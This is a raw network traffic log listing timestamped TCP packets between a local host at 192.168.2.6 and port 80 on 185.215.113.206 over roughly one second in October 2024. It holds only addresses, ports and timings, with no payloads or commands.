Oct 27, 2024 00:31:17.577725887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577749968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577761889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577785015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577796936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577820063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.577831984 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.577867031 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578372002 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578408003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578428030 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578447104 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578443050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578485012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578497887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578520060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578535080 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578556061 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578568935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578591108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578603983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578625917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578634977 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578661919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578674078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578699112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578711033 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578735113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578747988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578769922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578780890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578804970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578819036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578841925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.578850985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.578890085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579160929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579197884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579216003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579227924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579242945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579271078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579282045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579333067 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579333067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579368114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579376936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579404116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579416990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579437971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579452038 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579473019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579484940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579507113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579519033 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579540968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579561949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579574108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579587936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579607964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579617023 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579643965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.579655886 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.579690933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.580024004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.580035925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.580045938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.580056906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.580069065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.580071926 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.580092907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.580136061 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.687736034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.687773943 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.687828064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.687854052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.687879086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.687887907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.687913895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.687938929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.687948942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.687994957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.687999964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688054085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688086033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688118935 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688121080 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688121080 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688149929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688153982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688191891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688215971 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688237906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688263893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688273907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688291073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688309908 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688327074 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688363075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688383102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688416004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688448906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688471079 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688483953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688510895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688519001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688554049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688570976 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688589096 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688606977 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688622952 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688630104 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688663960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688669920 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688713074 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.688922882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688956976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.688991070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689013958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689024925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689059973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689059973 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689094067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689100981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689101934 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689137936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689284086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689317942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689368963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689385891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689403057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689413071 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689436913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689455032 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689471960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689506054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689522028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689538956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689567089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689572096 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.689600945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689621925 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.689987898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690021038 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690052986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690053940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690076113 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690089941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690099001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690124035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690140963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690159082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690185070 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690195084 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690205097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690229893 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690243959 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690264940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690273046 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690299034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690323114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690332890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690346003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690367937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690376043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690402985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690414906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690438032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690450907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690486908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.690948963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.690983057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691011906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691015959 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691040039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691051960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691059113 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691085100 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691103935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691119909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691135883 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691154003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691188097 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691215038 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691224098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691236019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691260099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691293001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691334009 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691349983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691384077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691389084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691411972 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691420078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691447020 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691466093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691708088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691736937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691792011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691802025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691826105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691834927 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691859961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691873074 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691894054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691916943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691930056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691958904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691965103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.691977978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.691999912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692018032 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692034960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692054987 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692069054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692085981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692105055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692121029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692137957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692157984 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692173004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692178965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692277908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692742109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692775965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692794085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692810059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692842960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692858934 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692878008 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692889929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692913055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692941904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692946911 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.692966938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.692980051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693012953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693034887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693046093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693061113 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693079948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693100929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693121910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693139076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693156958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693178892 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693192005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693228006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693243980 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693273067 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693717957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693753004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693778038 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693785906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693799973 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693820953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693829060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693855047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693888903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693905115 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693922997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693939924 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693958044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.693978071 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.693991899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694025993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694056034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694057941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694081068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694092989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694103003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694127083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694139004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694161892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694171906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694195986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694211960 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694251060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694569111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694602013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694653988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694653988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694689035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694722891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694746971 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694746971 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694756031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694782019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694789886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694802999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694823980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694835901 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694859028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694869995 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694895029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694900990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694931030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694947958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.694966078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.694998026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695013046 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695033073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695051908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695069075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695084095 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695246935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695640087 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695674896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695708036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695718050 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695740938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695739031 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695760012 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695775032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695796013 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695810080 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695839882 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695844889 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695861101 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695879936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695892096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695911884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695946932 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695930958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.695985079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.695997953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.696028948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.696058989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.696084023 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.696108103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.745357990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.745431900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.745469093 CEST	80	49709	185.215.113.206	192.168.2.6
